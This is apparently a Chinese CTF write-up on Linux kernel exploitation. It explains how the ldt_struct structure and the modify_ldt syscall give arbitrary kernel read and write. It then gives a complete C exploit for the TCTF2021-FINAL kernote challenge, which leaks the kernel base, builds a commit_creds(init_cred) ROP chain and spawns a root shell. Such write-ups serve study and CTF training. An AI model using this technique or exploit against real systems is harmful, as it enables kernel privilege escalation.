利用ldt_struct 与 modify_ldt 系统调用实现任意地址读写
ldt_struct与modify_ldt系统调用的介绍
ldt_struct
ldt是局部段描述符表,里面存放的是进程的段描述符,段寄存器里存放的段选择子便是段描述符表中段描述符的索引。和ldt有关的结构体是ldt_struct。
struct ldt_struct { /* * Xen requires page-aligned LDTs with special permissions. This is * needed to prevent us from installing evil descriptors such as * call gates. On native, we could merge the ldt_struct and LDT * allocations, but it's not worth trying to optimize. */ struct desc_struct *entries; unsigned int nr_entries; /* * If PTI is in use, then the entries array is not mapped while we're * in user mode. The whole array will be aliased at the addressed * given by ldt_slot_va(slot). We use two slots so that we can allocate * and map, and enable a new LDT without invalidating the mapping * of an older, still-in-use LDT. * * slot will be -1 if this LDT doesn't have an alias mapping. */ int slot; };
这个结构体的大小仅有0x10,前8字节存放的还是一个指针,如果能够控制它,那么便可以进行接下来的任意地址读写。前8字节的entries指针指向desc_struct结构体,即段描述符,定义如下:
/* 8 byte segment descriptor */ struct desc_struct { u16 limit0; u16 base0; u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1; u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8; } __attribute__((packed));
modify_ldt系统调用
modify_ldt这个系统调用,是提供给我们用来获取或修改当前进程的LDT用的。我们看调用modify_ldt的几个用法,源码如下:
SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr , unsigned long , bytecount) { int ret = -ENOSYS; switch (func) { case 0: ret = read_ldt(ptr, bytecount); break; case 1: ret = write_ldt(ptr, bytecount, 1); break; case 2: ret = read_default_ldt(ptr, bytecount); break; case 0x11: ret = write_ldt(ptr, bytecount, 0); break; } /* * The SYSCALL_DEFINE() macros give us an 'unsigned long' * return type, but tht ABI for sys_modify_ldt() expects * 'int'. This cast gives us an int-sized value in %rax * for the return code. The 'unsigned' is necessary so * the compiler does not try to sign-extend the negative * return codes into the high half of the register when * taking the value from int->long. */ return (unsigned int)ret; }
我们除了系统调用号外传入的三个参数是func,ptr,bytecount,其中ptr指针指向的是user_desc结构体。这个结构体如下:
struct user_desc { unsigned int entry_number; unsigned int base_addr; unsigned int limit; unsigned int seg_32bit:1; unsigned int contents:2; unsigned int read_exec_only:1; unsigned int limit_in_pages:1; unsigned int seg_not_present:1; unsigned int useable:1; };
任意地址读
利用的函数是ldt_read,其关键源码如下:
static int read_ldt(void __user *ptr, unsigned long bytecount) { //... if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) { retval = -EFAULT; goto out_unlock; } //... out_unlock: up_read(&mm->context.ldt_usr_sem); return retval; }
这个函数直接调用copy_to_user(ptr, mm->context.ldt->entries, entries_size),向用户空间读取数据,如果我们可以控制entries,那么我们就可以实现任意地址读。
如何控制entries?我们看write_ldt的源码可以看到调用alloc_ldt_struct为新的ldt_struct开辟了空间。
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode) { //... old_ldt = mm->context.ldt; old_nr_entries = old_ldt ? old_ldt->nr_entries : 0; new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries); error = -ENOMEM; new_ldt = alloc_ldt_struct(new_nr_entries); if (!new_ldt) goto out_unlock; //... return error; }
再看alloc_ldt_struct的源码,调用了kamlloc去分配新空间。
static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries) { struct ldt_struct *new_ldt; unsigned int alloc_size; if (num_entries > LDT_ENTRIES) return NULL; new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL); //...
我们就可以想到通过UAF去控制ldt_struct,修改entries即可读取想要的数据。
任意地址写
利用的函数是write_ldt,其关键源码如下:
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode) { //... old_ldt = mm->context.ldt; old_nr_entries = old_ldt ? old_ldt->nr_entries : 0; new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries); error = -ENOMEM; new_ldt = alloc_ldt_struct(new_nr_entries); if (!new_ldt) goto out_unlock; if (old_ldt) memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE); new_ldt->entries[ldt_info.entry_number] = ldt; //... }
我们可以看到拷贝是memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE),我们再看一下LDT_ENTRY_SIZE的定义
/* Maximum number of LDT entries supported. */ #define LDT_ENTRIES 8192 /* The size of each LDT entry. */ #define LDT_ENTRY_SIZE 8
可以看出拷贝的量非常大。并且在拷贝结束之后有new_ldt->entries[ldt_info.entry_number] = ldt;这样一行代码。那我们就可以通过条件竞争的方式去改变new_ldt->entries,从而实现任意地址写。
例题:TCTF2021-FINAL-kernote
exp
#define _GNU_SOURCE #include <sys/types.h> #include <sys/ioctl.h> #include <sys/prctl.h> #include <sys/syscall.h> #include <sys/mman.h> #include <sys/wait.h> #include <asm/ldt.h> #include <stdio.h> #include <signal.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <ctype.h> int fd; size_t kernel_offset; size_t kernel_base; int seq_fd; int ret; size_t page_offset_base = 0xffff888000000000; size_t init_cred; size_t prepare_kernel_cred; size_t commit_creds; size_t pop_rdi_ret; size_t swapgs_restore_regs_and_return_to_usermode; void ErrExit(char* err_msg) { puts(err_msg); exit(-1); } void set(int index) { ioctl(fd, 0x6666, index); } void add(int index) { ioctl(fd, 0x6667, index); } void delete(int index) { ioctl(fd, 0x6668, index); } void edit(size_t data) { ioctl(fd, 0x6669, data); } int main() { struct user_desc desc; int pipe_fd[2] = {0}; size_t temp; size_t *buf; size_t search_addr; printf(" 33[34m 33[1m[*] Start exploit 33[0mn"); fd = open("/dev/kernote", O_RDWR); if(fd<0) ErrExit("[-] open kernote error"); /* struct user_desc { unsigned int entry_number; unsigned int base_addr; unsigned int limit; unsigned int seg_32bit:1; unsigned int contents:2; unsigned int read_exec_only:1; unsigned int limit_in_pages:1; unsigned int seg_not_present:1; unsigned int useable:1; }; */ desc.entry_number = 0x8000 / 8; desc.base_addr = 0xff0000; desc.limit = 0; desc.seg_32bit = 0; desc.contents = 0; desc.read_exec_only = 0; desc.limit_in_pages = 0; desc.seg_not_present = 0; desc.useable = 0; desc.lm = 0; add(0); set(0); delete(0); syscall(SYS_modify_ldt, 1, &desc, sizeof(desc)); while(1) { edit(page_offset_base); ret = syscall(SYS_modify_ldt, 0, &temp, 8); if(ret >= 0) break; page_offset_base+= 0x4000000; } printf(" 33[32m 33[1m[+] Find page_offset_base=> 33[0m0x%lxn", page_offset_base); pipe(pipe_fd); buf = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); search_addr = page_offset_base; while(1) { edit(search_addr); ret = fork(); if(!ret) { syscall(SYS_modify_ldt, 0, buf, 0x8000); for(int i=0; i<0x1000; i++) if(buf[i]>0xffffffff81000000 && (buf[i] & 0xfff) == 0x40) { kernel_base = buf[i] - 0x40; kernel_offset = kernel_base - 0xffffffff81000000; } write(pipe_fd[1], &kernel_base, 8); exit(0); } wait(NULL); read(pipe_fd[0], &kernel_base, 8); if(kernel_base) break; search_addr+= 0x8000; } kernel_offset = kernel_base - 0xffffffff81000000; printf(" 33[32m 33[1m[+] Find kernel base=> 33[0m0x%lxn", kernel_base); printf(" 33[32m 33[1m[+] Kernel offset=> 33[0m0x%lxn", kernel_offset); add(1); set(1); delete(1); seq_fd = open("/proc/self/stat", O_RDONLY); if(seq_fd<0) ErrExit("[-] open seq error"); edit(0xffffffff817c21a6 + kernel_offset); init_cred = 0xffffffff8266b780 + kernel_offset; prepare_kernel_cred = 0xffffffff810ca2b0 + kernel_offset; commit_creds = 0xffffffff810c9dd0 + kernel_offset; pop_rdi_ret = 0xffffffff81075c4c + kernel_offset; swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 10 + kernel_offset; __asm__( "mov r15, 0xbeefdead;" "mov r14, 0x11111111;" "mov r13, pop_rdi_ret;" // start at there "mov r12, init_cred;" "mov rbp, commit_creds;" "mov rbx, swapgs_restore_regs_and_return_to_usermode;" "mov r11, 0x66666666;" "mov r10, 0x77777777;" "mov r9, 0x88888888;" "mov r8, 0x99999999;" "xor rax, rax;" "mov rcx, 0xaaaaaaaa;" "mov rdx, 8;" "mov rsi, rsp;" "mov rdi, seq_fd;" "syscall" ); system("/bin/sh"); return 0; }